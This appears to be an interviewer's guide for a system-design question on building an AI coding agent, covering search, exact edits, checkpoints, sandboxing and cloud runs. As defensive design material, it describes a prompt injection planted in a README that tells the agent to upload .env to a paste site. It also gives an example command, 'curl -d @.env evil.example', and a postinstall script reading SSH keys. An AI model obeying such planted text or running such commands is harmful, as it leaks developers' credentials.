Design an AI Coding Agent
Run this for someone else. You hold the answers; they do not. Read the prompt, keep the clock, and use the probes below when an answer is thin. Do not show them this page.
Open with this
An agent that finds, edits and tests code in a developer’s repository, on their laptop or in the cloud: 8 M tasks a day. Take a couple of minutes on requirements, then we will do some numbers, then the design. I will interrupt to keep us moving.
The clock
- 4 min: functional requirements and scope
- 4 min: non-functional requirements, with numbers
- 5 min: back-of-envelope estimates
- 16 min: high-level design and one or two flows
- 16 min: deep dives and the close
Move them on out loud when a section overruns. The commonest failure is spending twenty minutes on requirements and never reaching a deep dive, and preventing that is your job as much as theirs.
Requirements · 8 min
Listen for: a scoped set of capabilities, an explicit out-of-scope list, and numeric targets rather than adjectives. Prompt with “what are you not building?” if they never scope, and “what number would make that requirement real?” if they say “fast” or “highly available”.
Functional (10)
- Take a task and deliver a working change: The developer types "the checkout test fails since yesterday’s merge, fix it" in a terminal or an IDE panel. The deliverable is a diff in their working tree that passes the project’s checks, plus a short account of what changed and how it was verified, not a chat answer.
- Find the relevant code in a large repository: Repositories up to ~50 k files, about 100 M tokens, against a 200 k-token window: the model sees 0.2 % at a time. It must search, read line ranges and follow symbols, and it must see the developer’s uncommitted changes, not last night’s copy.
- Apply edits exactly: Every edit lands where the model meant or fails loudly. Never a silently mangled file, and never an edit to a version of the file the model has not seen, even while the developer is typing in the same file.
- Run commands and verify: Run tests, type checks, linters and builds, read the output, and loop until the checks pass or the agent is stuck. "Done" needs evidence from a command that ran, and changing a test so it passes is not a fix.
- Ask before anything risky: Reading and editing inside the project can run without asking; deleting outside it, pushing, deploying or sending data to a new host asks first. The developer picks a mode per session: ask before every edit, accept edits automatically, or plan only.
- Checkpoints and undo: Rewind the code, the conversation, or both, to any earlier turn. The agent says plainly what a rewind cannot undo, such as a database migration it ran or a package it installed.
- Watch, interrupt and steer: Progress streams as it happens. The developer can interrupt mid-step and redirect ("not that file, the v2 handler") without losing the work so far, and resume the session the next day.
- Background tasks in the cloud: Send a task to a cloud machine, close the laptop, and get a branch or a pull request back; later, continue the same session locally. Several tasks can run at once on one repository.
- Project instructions: A file in the repository (build and test commands, conventions, what never to touch) loaded at the start of every session, local or cloud, and kept by the team under version control.
- Out of scope: Serving the models (the LLM Inference question), hosting thousands of companies’ agents as a multi-tenant platform with durable runs (the AI Agent Platform question), inline completions as you type (the GitHub Copilot question), automated code review, and billing.
Non-functional (8)
- Safe autonomy (≤ 1 prompt per 10 min of work · 0 unapproved actions outside the project): The requirement that drives the hardest tradeoff. The agent runs as the developer, with their SSH keys, cloud credentials and network. Ask too often and people approve without reading or turn the checks off; ask too rarely and one instruction planted in a README can push code or leak a secret.
- Edit correctness (0 silent bad writes · edits only to a version the model read): A wrong edit that applies cleanly is worse than one that fails, because the developer reviews it later, if at all. Every write checks that the file is unchanged since the model last read it.
- Task latency (first output < 2 s · typical task ~4 min): The developer is often waiting. About 150 s of a typical task is model time and 80 s is tests, so running only the affected tests and running read-only tool calls in parallel matter as much as model speed.
- Context efficiency (main context < 100 k of 200 k tokens on a typical task): Quality falls and cost rises as the window fills. Exploration happens in subagents that return short reports and tool output is capped, so most tasks finish without ever compacting.
- Cost per task (~$0.72 typical · ≥ 90 % of input tokens cached): About 1 M input tokens a task. At 8 tasks a developer a day that is ~$127 a month in model cost, which a subscription has to cover, so prompt layout, model routing and limits are product decisions.
- Privacy of code (no off-machine index without opt-in · secrets never read silently): Code reaches the model provider only as the turns that need it. Files such as .env and ~/.aws are never read into the context without asking, because anything in the context can end up in a command or a commit.
- Recoverability (every agent edit undoable · a crash loses ≤ the turn in flight): The session log and file backups are written before the next step starts, so a crashed terminal, a closed laptop or a rewind loses nothing the developer can see.
- Same behaviour locally and in the cloud (one harness · cloud start < 30 s warm): The same loop, tools, permission rules and project instructions run in both places, so a task behaves the same wherever it runs. A cloud task starts from a cached environment, not a fresh install.
Estimates · 5 min
Ask for two or three numbers, not all of them. What matters is whether they state assumptions, round sensibly, and say what the number implies. Push once with “where did that come from?”
The numbers (8)
- Tasks started per second: ~93/s avg · ~280/s peak. 1 M daily active developers × 8 tasks a day = 8 M tasks/day ÷ 86 400 s ≈ 93/s, about 280/s at a 3× working-hours peak. Small as request rates go: each task is minutes of work, most of it on the developer’s own machine.
- Model calls per second: ~2.3 k/s avg · ~7 k/s peak. 8 M tasks × 25 model calls each = 200 M a day ÷ 86 400 s ≈ 2.3 k/s, ~7 k/s at peak. The ~20 tool calls a task run on the developer’s laptop and cost the servers nothing: locally, the server side is a model gateway and the agent is a client.
- A large repository against the window: ~100 M tokens · the window holds 0.2 %. 50 k files × 8 KB average = 400 MB of source ≈ 100 M tokens at about 4 bytes a token. A 200 k-token window holds 0.2 % of it, so the agent can never read the repository: finding the right 2 to 5 files is the first problem, not a detail.
- Input tokens per task: ~1 M (vs ~10 k output). Context starts at 15 k tokens (system prompt and tool definitions 12 k, project instructions 2 k, the task) and grows ~2 k per call (the model’s output plus a capped tool result). Over 25 calls: 25 × 15 k + 2 k × (0 + 1 + … + 24) = 375 k + 600 k ≈ 1 M input tokens against ~10 k output: every call re-sends everything so far.
- Model cost per task: ~$0.72 (vs ~$3.15 uncached). At illustrative prices of $3 per M input tokens, $0.30 per M cached input and $15 per M output: 10 % of 1 M uncached = $0.30, 90 % cached = $0.27, 10 k output = $0.15, so ~$0.72 a task. With no cache hits it is ~$3.15: a prompt that starts with the same bytes on every call is worth more than any other optimisation.
- Model cost per developer per month: ~$127. 8 tasks × $0.72 = $5.76 a working day × 22 days ≈ $127 a month at list prices. That is more than many subscriptions cost, so routing exploration to a smaller model, the cache hit rate and usage limits are product decisions, not tuning.
- Wall-clock time per task: ~4 min. 25 model calls × (~1 s to the first token + 400 output tokens at ~80 tokens/s ≈ 6 s) ≈ 150 s, plus 4 test or build runs × 20 s = 80 s; searches and reads add a few seconds. About 4 minutes, mostly waiting on the model and the tests, so parallel read-only tool calls and running only the affected tests are the latency levers.
- Cloud tasks: VMs and setup time: ~8 k VMs · 40 k VM-hours/day of setup if uncached. If 10 % of tasks run in the cloud, that is 800 k a day ≈ 9.3/s; at 15 min each, Little’s law gives ~8.3 k busy VMs on average and ~25 k at peak. Installing dependencies from scratch (~3 min) would cost 800 k × 3 min = 40 k VM-hours a day and make every task wait 3 minutes before the agent starts; restoring a cached environment in ~10 s costs ~2.2 k.
High-level design · 16 min
Let them draw. Interrupt only to ask what backs a component or what a box actually does. Then pick one flow below and ask them to walk it end to end.
Components (15)
- Developer (terminal · IDE · web): Gives the task, watches progress, answers permission prompts, interrupts and rewinds. The same session can be driven from a terminal, an IDE panel or a web page for cloud tasks. Locally, the developer’s working tree, credentials and network are what the agent runs with, which is why every risky action comes back here.
- Agent harness (local loop · context budget): The loop on the developer’s machine: render the prompt (a stable prefix, then the session), call the model, send the tool calls it asks for through the permission engine, append everything to the session log, repeat. It owns the context budget: it caps tool output, hands exploration to subagents and compacts near the limit. Read-only tool calls from one model turn run in parallel; edits and commands run one at a time, in order.
- Session log (append-only JSONL on disk): Every event of every session: the task, model outputs, tool calls and capped results, permission decisions, compactions and turn boundaries, written before the next step starts. Resume, rewind and the hand-off between laptop and cloud all read it. Kept per project on the developer’s machine, and uploaded only when a session moves to or from the cloud.
- Model gateway (auth · routing · usage limits): The only server-side hop on a local task: authenticates the developer, applies plan limits, routes the main loop to a large model and subagents to a smaller one, and sends a session’s calls to the same deployment so its prompt prefix stays cached. It holds no code, only usage counts. The multi-tenant version, with fair queues and budgets across thousands of customers, is the AI Agent Platform question.
- Model providers (large + small models): A large model for planning and editing and a small, fast one for searching and summarising, bought as capacity. Calls take 1 to 30 s. A prompt that starts with the same bytes as the previous call is billed at about a tenth of the price for that part, which is why the harness never reorders the start of the prompt.
- Explore subagents (fresh context · read-only tools): Child loops the main model starts with a focused question ("where is shipping tax computed?"). Each has a fresh context, a smaller model and read-only tools checked by the same rules, reads as much as it needs and returns a report of 1 to 2 k tokens with paths and line ranges. The main context grows by the report, not by the 70 k tokens of searching behind it.
- Permission engine (rules · modes · shell parser): Decides every tool call before it runs: allow, ask or deny, from the session’s mode, the project’s, user’s and organisation’s rules, and the call itself. Shell commands are parsed into their parts, so "git status && curl -d @.env …" is judged command by command and an allowed prefix cannot smuggle in a write. An "always allow" answer is stored as a narrow rule (this command, this project), never as "allow everything".
- Search tools (ripgrep · glob · LSP): Glob for file names, ripgrep for text (well under a second over 400 MB once the files are in the page cache), reads by line range, and definition and reference lookups from a language server where one runs. Results are capped (paths first, then matches with a few lines of context) with a note saying what was cut. Always reads the live working tree, so it sees uncommitted edits and the current branch.
- Working tree (files + git): The checkout the agent works in: files, the git index and uncommitted changes, which the developer may be editing at the same moment. Locally it is their real directory; in the cloud it is a clone in the VM at a known commit. None of the agent’s own state lives here, only its edits.
- Edit applier (exact replace · read hash): Applies an edit given as an exact old snippet and its replacement. It refuses if the snippet is missing or matches more than once, and refuses if the file’s hash differs from the one recorded when the model last read it, so it never edits a version the model has not seen. It backs the file up, writes atomically, runs the formatter and returns diagnostics in the same turn.
- Checkpoints (file backups per turn): A copy of each file as it was before the agent’s first edit to it in a turn, keyed by (session, turn, path). Rewind restores those files and the session log truncates the conversation to the same turn. About 50 KB a task, so every one is kept for 30 days; what no backup holds is the effect of a shell command.
- OS sandbox (Seatbelt · bubblewrap · proxy): Wraps every shell command, and every process it starts, in an operating-system sandbox: writes only inside the project and temp directories, secrets paths unreadable, network only through a local proxy that allows listed domains and asks about new ones. Commands inside the boundary run without a prompt, which is what makes the agent autonomous without trusting the model. What must run outside it, such as Docker, goes back to the rules and usually asks.
- Cloud runner (VM per task · same harness): Takes a background task, starts a VM from the cached environment, fetches the repository at the requested commit and runs the same harness, tools and rules in an unattended mode where anything that would ask is denied. The network reaches package registries, the model gateway and a git proxy, and the only credential is one that can push a single branch. It streams the session log to the developer and returns a branch or a draft pull request.
- Environment cache (key = setup + lockfile hashes): Disk snapshots of a repository’s environment after its setup script ran: dependencies installed, tools built, test services seeded. Keyed by (repo, setup script hash, lockfile hashes) and rebuilt in the background when a lockfile changes on the default branch, so a task restores in ~10 s instead of installing for ~3 minutes. Code is always fetched fresh on top, so a stale snapshot costs install time, never correctness.
- Git host (fetch · branch-scoped push): Where branches and pull requests live (GitHub, GitLab). A local push asks the developer first. Cloud VMs reach it only through a git proxy that holds the real token and allows pushing to the task’s own branch, so code the agent wrote can never push to main or read other repositories.
Flows to ask them to walk (5)
- Fix a failing test, end to end: The core loop on the developer’s laptop: look, edit, verify. Each step is small and checked, and the agent says it is done only after a command it ran shows the fix works.
- The developer asks the agent to fix a failing checkout test; the harness starts a session and loads the project’s instructions file.
- The harness makes the first model call: a stable prefix of system prompt, tool definitions and project instructions, then the task.
- The permission engine allows the test run and the searches, and the harness runs them in parallel.
- The model reads the two functions named in the error, by line range, and sees the discount applied twice.
- The model proposes an edit as an exact snippet and its replacement; the applier checks it, backs the file up and writes it.
- The harness runs the failing test again, then the tests for the touched module and the type checker.
- The model writes a short summary with the diff and the evidence, and the session waits for the developer.
- Find the code in a 50 k-file monorepo: The task names a behaviour, not a file: "orders shipped to Canada are taxed twice". The repository is 500 times the window, so the agent searches in a separate context and brings back only what it needs.
- The main model starts an exploration subagent with a focused question instead of searching in its own context.
- The subagent runs on a smaller, faster model with a fresh context and read-only tools.
- It searches by file name and text first, asking for matching paths before matching lines.
- Where names are ambiguous, it asks the language server for a definition and its references.
- It reads the few relevant ranges and returns a short report with paths, line ranges and how they connect.
- The main model reads the exact ranges it will change before editing them.
- The session log keeps the subagent’s report and a pointer to its transcript, not the transcript itself.
- A risky command and a planted instruction: The agent installs a package and later pushes, and a README contains instructions aimed at it. The permission engine and the sandbox decide what runs without asking, and neither relies on the model behaving.
- The model asks to run a compound command that installs a package and then runs the tests.
- Both run inside the OS sandbox, where npm can reach the package registry and nothing else.
- Reading the README for setup steps, the model meets a hidden instruction to upload the .env file to a paste site.
- The model tries the command; the engine denies it outright and the developer sees the attempt flagged.
- Later the model wants to push the branch, which always asks, and the developer allows it once.
- The session records every decision, so the developer can review what ran and tighten or loosen the rules.
- A stale edit, a stuck loop and a rewind: The developer edits the same file while the agent works, the fix keeps failing, and in the end the developer wants the last ten minutes undone. Each failure must be loud, bounded and reversible.
- The model sends an edit to a file the developer has saved a change to since the model read it; the applier refuses.
- The model re-reads the changed range and makes the edit again on the current text.
- The tests still fail the same way after a third attempt at a fix.
- The harness tells the model to stop editing, and the model reports what it tried and asks the developer.
- The developer decides the last ten minutes were a wrong turn and rewinds the code and the conversation to turn 6.
- The rewind lists what it could not undo: a database migration the agent ran in turn 8.
- Send it to the cloud, pick it up locally: The developer hands a task to a cloud VM and closes the laptop. The same harness runs there from a cached environment with a credential that can push one branch, and the session comes back as a branch plus its transcript.
- The developer sends the task to the cloud with the repository, a base commit and an environment name.
- The runner restores the environment snapshot for this repository’s setup script and lockfiles, and fetches the commit on top.
- The VM runs the same harness, with the same tools and project rules, in a mode that never asks.
- Model calls go through the same gateway, and progress streams to the developer’s phone or browser.
- When the checks pass, the harness commits and pushes the task’s branch through the git proxy.
- The developer opens the session on the laptop: the branch is checked out, the transcript loaded, and the conversation continues there.
- The VM is deleted, and the environment snapshot stays for the next task.
Deep dives · 16 min
Pick two. Ask the headline question, let them answer, then use the follow-ups. The follow-ups are where the level gets decided, so leave time for at least three of them.
Finding the right code in a large repo
Ask: The repository is 100 M tokens and the window is 200 k. Why not build an embedding index of the code, the way a RAG system would?
Good answers name: Agentic search on the live tree: glob, grep, ranged reads and symbol lookups as tools, Embedding index of code chunks, synced by a Merkle tree of file hashes, A repository map in the prompt: the file tree plus top-level symbols, Retrieve chunks automatically and insert them before every model call.
Our pick: Give the model search tools and let it search the way a developer new to the codebase would: glob for file names, ripgrep for text (well under a second over 400 MB once the files are in the page cache, skipping what .gitignore excludes), reads by line range, and definition and reference lookups from a language server when one is running. Every result is capped (at most ~50 paths first, matches with two lines of context, reads of at most ~2 k lines) with a note saying what was cut, so the model narrows its query rather than assuming it saw everything. Broad exploration runs in a subagent with a fresh context and a smaller model, which reads 50 to 80 k tokens and returns a report of 1 to 2 k tokens with paths and line ranges, so the main context pays for the answer and not for the search. The project instructions file names the build and test commands and the main directories, which saves the first round of searching on every task. For very large monorepos with many conceptual questions, add a semantic search tool over an embedding index kept in sync by a Merkle tree of file hashes, where the organisation allows it, as a tool the model can call rather than as text pushed into every prompt. Claude Code’s team has said publicly that agentic search worked better for them than an embedding index, and Cursor has described indexing code with embeddings and Merkle-tree sync, so both approaches run in production.
- The developer asks "where do we decide who can see a draft post?" and nothing in the code is called draft.
This is the query text search is worst at. The model starts from what it can name: the post model, the routes that return posts, the permission module. It greps for those, reads the code that filters results and follows the calls until it finds the visibility check, which takes 5 to 10 steps in a subagent and a couple of thousand tokens in the main context. If questions like this are common in a repository, that is the case for adding a semantic search tool. - Why not let the model read whole files?
Because every token read stays in the context and is paid for again, mostly at the cached price, on every later call of the task, and it crowds the window. A 1 500-line file is about 18 k tokens; reading five early costs 90 k tokens on every call that follows. The 80 lines around a match cost about 1 k. Whole-file reads are fine for small files, and for the file being edited when its structure matters. - If you did need an embedding index, how would you keep it in sync?
On the client, hash every file and build a Merkle tree over the directories; the server keeps the same tree, so a sync compares hashes from the root down and finds the few changed files in a handful of comparisons instead of 50 k. Only those files are re-chunked along syntax boundaries (functions, classes) and re-embedded. Store embeddings against obfuscated paths and read the actual code from the local disk at query time, so the server never needs the source. Results still go to the model as candidates to read, not as answers. - How do you know search is working?
Offline, on past fixes with known answers: did the agent read the files the real fix changed, and how many tokens and turns did it take to find them. In production, track turns before the first edit, tokens read per task, and how often an edit fails because the model never read the file. A rise in turns before the first edit is usually the first sign that a model or tool change made search worse. - What does search cost per task?
In the main loop, a few thousand tokens of reports and ranges if exploration is delegated. In subagents, 50 to 80 k tokens on a small model at a fraction of the large model’s price, so a few cents. The bigger cost is latency, since each search round is a model call of 1 to 3 s, which is why independent searches go out in one turn and run in parallel.
Applying edits reliably
Ask: The model has decided what to change. How does that change get into the file, and how do you make sure it lands where the model meant?
Good answers name: Exact search-and-replace with a uniqueness check and a read-version check, Rewrite the whole file, Unified diff with line numbers, A fast apply model that merges a sketch of the change into the file.
Our pick: The edit tool takes a path, an exact old string, a new string and an optional replace-all flag, and the applier enforces three rules: the old string occurs exactly once (or the call says replace all), the file’s current hash equals the hash recorded when the model last read it, and a file the model has not read in this session can be created but not edited. Failures come back as specific errors: "not found" (usually whitespace or an outdated memory of the file), "found 3 times, include more surrounding lines", "file changed since read, re-read lines 110 to 140". Before writing, the applier copies the file to the checkpoint store, then writes atomically (a temp file and a rename) so a crash never leaves half a file, runs the project’s formatter, and returns diagnostics from the type checker or language server, so the model sees a broken import in the same turn instead of three turns later. New files and small rewrites use a write tool with the same backup and diagnostics. Several edits to one file in a turn apply in order, each checked against the result of the one before. Aider has published benchmarks showing that the edit format alone changes how often models complete coding tasks, and an exact old-string, new-string edit is the shape Claude Code’s edit tool uses.
- The developer is typing in the same file while the agent edits it.
The read-version check catches it: the hash recorded at the model’s last read no longer matches, so the edit fails and the model re-reads the range, which costs a few hundred tokens and keeps the developer’s change. The harness also watches for files changed outside the agent and mentions them at the start of the next turn. Inside an IDE, the edit can be shown as a pending diff in the buffer rather than written under the developer’s cursor. - Why not apply fuzzily when the snippet is almost right?
Because "almost right" is when the model’s picture of the file is wrong, and that is when an edit is most likely to land in the wrong place. A fuzzy match on the wrong one of two similar blocks produces code that compiles and passes review. A strict failure costs one more turn. The one normalisation worth doing is trailing whitespace and line endings, reported back so the model knows. - The model needs to rename a function used in 300 places.
Not 300 edits by the model. It should use the language server’s rename, or a codemod run through the shell under the normal rules, then read a sample of the result and run the type checker and tests. Model-written edits are for changes that need judgement; mechanical changes belong to mechanical tools. A shell rewrite is not captured by checkpoints, so the harness suggests committing first. - How do you measure edit reliability?
Per model and tool version: the edit failure rate by reason (not found, ambiguous, stale), turns lost to retries, and the share of edits the agent itself reverts later in the same task. A jump in "not found" after a model upgrade usually means the new model reproduces whitespace differently, which is a format or prompt fix, not a reason to roll the model back. - Why run the formatter and type checker after every edit?
Because feedback is cheapest in the same turn. A missing import caught by the type checker right away costs one small edit; caught by a test run four turns later, it costs a test run and a search for the cause. Formatting also keeps the diff the developer reviews free of noise, and the formatted file’s hash becomes the recorded one, so the next edit is checked against what is really on disk.
When is the task done?
Ask: The agent says it fixed the bug. How does it know, and what stops it from looping forever, or from fixing the test instead of the code?
Good answers name: Checks as the exit condition, narrow to wide, with a stop rule for repeated failures, Trust the model’s own sense of done, Run the full suite after every edit, A second model reviews the diff before finishing.
Our pick: The harness treats the project’s checks as the exit condition. The instructions file names the commands (test one file, test a module, type check, lint, build), and the model is prompted to reproduce the failure first, then fix, run the narrowest check, and widen to the module’s tests and the type checker; the full suite is left to CI unless asked, and the summary says what ran and what did not. After each run the harness records a failure signature (failing test names and the first error line): the same signature after three edit attempts adds a note telling the model to stop editing and report, and hard caps, say 100 turns or $5 a task by default and adjustable, end a runaway task with a summary rather than silence. Edits to test files are allowed but flagged in the summary, and the model must explain any changed assertion, because "make the test pass" is the instruction most easily met the wrong way. Tests known to be flaky are retried once and reported as flaky rather than fixed. A final message that claims success without a passing check after the last edit gets one more turn asking the model to verify.
- The repository has no tests for this code.
Then the agent’s first job is to make the change checkable: write a small test that reproduces the bug and fails, make it pass, and leave the test in the diff for review. Where that is impractical (UI behaviour, an external service), it says so and lists the manual check the developer should do. What it must not do is report "fixed" with nothing behind it. - A test passes on the second run.
The harness keeps per-project flake records across sessions: a test that has both passed and failed on the same code is marked flaky, retried once, and reported as flaky rather than counted as fixed or broken. The model is told not to edit it unless the task is about it. Fixing a flaky test is a good task for an agent, but as its own task. - How do you test a new model or system prompt before shipping it?
On a suite of real tasks from real repositories with hidden tests, in the style of SWE-bench: each task is an issue plus the commit that fixed it, and the agent passes if the hidden tests pass on its change. Run each task several times, because runs vary, and report the share solved every time, with cost and turns per task beside it. Add tasks from production sessions that developers rejected, with consent, so the suite tracks the failures people actually see. - What do you measure in production?
Per task: whether the developer kept the change (committed it, or merged the pull request), how much of the diff they rewrote first, rewinds and interrupts, turns and cost per kept change, and how often a stop rule fired. Kept changes per dollar is the number developers feel. Turns and cost per task are the early warnings, because a regression shows up as more turns before it shows up as fewer kept changes. - Can the agent work on two tasks at once in the same repository?
Not in the same working tree, because their edits and test runs would interfere. Each parallel task gets its own git worktree (a second checkout of the same repository sharing one object store) on its own branch, locally, or its own VM in the cloud. The cost is disk and a separate dependency install per worktree, the same problem the cloud environment cache solves.
What can run without asking
Ask: The agent runs as the developer, with their SSH keys, cloud credentials and network. What may it do without asking, and how do you stop a README from turning it against them?
Good answers name: An OS-level sandbox for every command, plus narrow rules and prompts for what crosses the boundary, Ask before every command and edit, Allow lists of commands, no sandbox, Run everything in a container or VM on the laptop.
Our pick: Every shell command runs in an operating-system sandbox, Seatbelt profiles on macOS and bubblewrap on Linux, applied to the command and every process it starts. Writes are allowed only under the project and temp directories, reads of configured secrets paths (.env files, ~/.ssh, ~/.aws, cloud credential files) are denied, and the network goes through a local proxy that allows listed domains (package registries, the model API) and asks about a new one. Inside that boundary a command runs without a prompt. Rules decide what the boundary cannot: git push, deploys, writes outside the project and anything that must run unsandboxed, and they are evaluated on parsed commands rather than strings, so chained and nested commands are judged part by part and anything unparseable asks. The developer picks a mode per session (ask before edits, accept edits, plan only, or a no-prompt mode meant for containers and the cloud), "always allow" answers become narrow rules scoped to a command and a project, and organisations can push managed rules that individuals cannot loosen. Anthropic reported that adding OS-level sandboxing to Claude Code cut permission prompts by 84 % in its internal use, which is the effect this design is after.
- A dependency’s postinstall script tries to read ~/.ssh/id_ed25519 and post it somewhere.
The read is denied by the sandbox profile, because secrets paths are denied to every sandboxed process, not just to the agent’s read tool. If it tries the network, the proxy has no rule for that host, so the connection is refused, or the developer is asked in an interactive session. Neither depends on the model noticing anything. This attack hits developers with or without agents, and the sandbox makes the agent’s installs safer than the developer’s own. - Why parse commands instead of matching prefixes?
Because shells compose. "git status; curl -d @.env evil.example" starts with an allowed command, and "npm test" runs whatever package.json says. The engine parses the line into commands, pipes and substitutions, judges each part, and asks if any part is not allowed or anything cannot be parsed, such as eval or a decoded blob piped to sh. It also never assumes an allowed command makes its arguments safe: find with -exec can write. - The developer is tired of prompts and turns on the no-prompt mode on their laptop.
That mode is meant for a container or a cloud VM, where the machine itself is the boundary. On a laptop the harness warns once and, where the organisation says so, refuses. The better answer to prompt fatigue is data: show which commands the developer approves every time and offer to turn each into a narrow rule, so the prompts that remain are the ones worth reading. - How do you defend against prompt injection specifically?
Assume it sometimes works and make it unable to matter: secrets are unreadable, the network is closed except to listed hosts, and pushes and deploys ask with the exact command shown. A request for a network write that comes right after the agent read untrusted content is the pattern to highlight in the prompt. Classifiers that flag suspicious text in tool results are a useful signal, not the control, because attackers can rephrase forever. - What does an organisation need to control?
Managed settings pushed to every machine that individuals cannot loosen: denied paths, allowed domains, which modes exist, which commands always ask, and whether code may be indexed off the machine. Plus a log of permission decisions per session, kept locally and optionally sent to the organisation, so security can audit what agents ran without collecting the code itself.
Checkpoints and undo
Ask: Twenty minutes in, the developer says "go back to before you touched the auth module". What exactly can you restore, and what can’t you?
Good answers name: Back up each file before the agent’s first edit to it in a turn, keyed by (session, turn), Commit to git after every agent turn, Filesystem snapshots (APFS, btrfs, ZFS) per turn, No undo: rely on the developer’s git.
Our pick: Before the first edit to a file in a turn, the edit applier copies the file (or records that it did not exist) into a checkpoint store on the developer’s machine keyed by (session, turn, path), and the session log marks the turn boundary. Rewind takes a turn and a scope: code only, conversation only, or both. Restoring code writes each backed-up file back, but first compares the file with what the agent last wrote; if the developer has changed it since, the rewind shows the conflict rather than overwriting their work. Restoring the conversation truncates the session at that turn, so the model does not reason from undone changes. Every shell command since the checkpoint is listed in the rewind result, with the ones that may have changed state (installs, migrations, deletes, pushes) called out, because those are not undone. Checkpoints are kept for 30 days at about 50 KB a task and do not replace commits: the agent suggests committing before risky shell work, and parallel tasks use separate git worktrees so their changes never mix. Claude Code’s documentation draws a similar line: rewind restores the files its edit tools changed, and a file changed only by shell commands is not tracked.
- The agent ran rm -rf build/ and a database migration. Can rewind undo those?
No, and it says so. The rewind result lists every command that ran after the checkpoint and flags the ones that changed state outside the edited files: the build directory can be rebuilt, and the migration needs its down step, which the agent can offer to run as a new command under the normal rules. The sandbox bounds the damage (nothing outside the project can be deleted), and "ask before migrations" is a sensible project rule. - Why not just commit after every turn?
It works when the agent owns the branch, and some developers prefer it. On the developer’s own working branch it mixes the agent’s commits with their uncommitted changes and staging area, and leaves twenty noise commits for someone to squash. A per-file backup gives the same undo without touching git. In the cloud, where the agent owns the branch, committing at milestones is the natural choice. - The developer rewinds the code but keeps the conversation.
Then the model has to be told: the harness appends a note listing the files restored and to which turn, so the model re-reads them before editing. Its recorded read hashes are stale anyway, so an edit based on its old picture would fail, which is the read-version check doing its job. - How much disk does this take?
A task edits about 6 files averaging 8 KB, so ~50 KB of backups. Eight tasks a day for 30 days is ~12 MB per developer, which is nothing. The exception is large generated or binary files, which are capped (say 1 MB a file) and reported as not backed up, so the developer knows before the edit rather than at rewind time. - Two parallel tasks edit the same repository. How do checkpoints work?
Each task runs in its own git worktree on its own branch, so they never touch the same files on disk, and each session has its own checkpoints. Combining their results is a normal git merge, done by the developer or by a final task, with the tests as the check.
One task, locally or in the cloud
Ask: The developer wants to start a task, close the laptop and get a pull request back. What changes when the agent runs in the cloud, and what must stay the same?
Good answers name: The same harness in a VM per task, environment snapshots keyed by setup and lockfile hashes, a branch-scoped git proxy, Clone and install from scratch for every task, Run the background task on the developer’s own machine, A separate, cloud-specific agent.
Our pick: A cloud task is (repository, base commit, environment, prompt, branch). The runner takes a VM from a warm pool and restores the environment snapshot keyed by (repository, setup script hash, lockfile hashes); on a miss it runs the setup script once, with network, and saves a snapshot for the next task, and snapshots are rebuilt in the background whenever the default branch changes a lockfile. It then fetches the base commit and starts the same harness in unattended mode: the VM is the sandbox, so commands run without prompts, anything that would ask is denied with the reason fed back, and the network reaches package registries, the model gateway and the git proxy only. The VM never holds a real token, because the git proxy adds it and allows pushes only to the task’s branch, so the worst a fooled agent can do is push a bad branch that a person reviews. Progress streams from the session log with sequence numbers; at the end the harness pushes the branch, opens a draft pull request and uploads the session log, so the developer can continue locally with a git switch and a resume, under their own rules again. Several tasks on one repository run in separate VMs on separate branches, and each VM is destroyed afterwards.
- The tests need Postgres and Redis.
The environment declares them, and the runner starts them inside the VM with throwaway data before the harness starts. Seeding scripts belong to the setup script, so the seeded state is in the snapshot too. If tests need a shared staging service, that is a listed domain with a test credential the commands can use and the model cannot read, never the developer’s credentials. - How do you keep the tests’ secrets away from the model?
Inject them as environment variables into the commands only, deny the agent’s read tools access to them, and scrub their values from any tool output before it reaches the model or the session log. A secret the model has seen can end up in a commit message or a URL it fetches, so the rule is that secrets are usable by commands and invisible to the model. - The VM dies halfway through.
The session log was streamed out as it grew, so the transcript survives; the working tree survives up to the last commit, and in the cloud the harness commits at milestones because it owns the branch. The runner starts a new VM from the snapshot, checks out the last pushed commit and resumes the session with a note saying what was lost. That is far simpler than the fully durable runs a multi-tenant agent platform needs, because one developer is waiting on one task, and the AI Agent Platform question covers the durable version. - At 25 k VMs at peak, what runs out first?
CPU on the VM hosts during test runs, and snapshot misses after a popular repository changes a lockfile, when hundreds of tasks miss at once. The first is packing: VMs are idle most of the time while the model thinks, so hosts can be oversubscribed on CPU. The second is solved by rebuilding the snapshot as soon as the lockfile changes on the default branch, before tasks ask, and by making tasks wait for a build already in progress instead of starting their own. - Why is local still the default?
Because most tasks are short and interactive: the developer wants to watch, steer and try the result in their own environment. The cloud wins for long, well-specified tasks, for several tasks in parallel, and when the laptop has to close. With one harness, the choice is only about where the work runs, not which agent you get.
Close · 5 min
Ask what breaks first at ten times the load, and what they would build next. Then give them your read: one thing that was strong, one thing that was missing, one thing to practise. Be specific; “good job” helps nobody.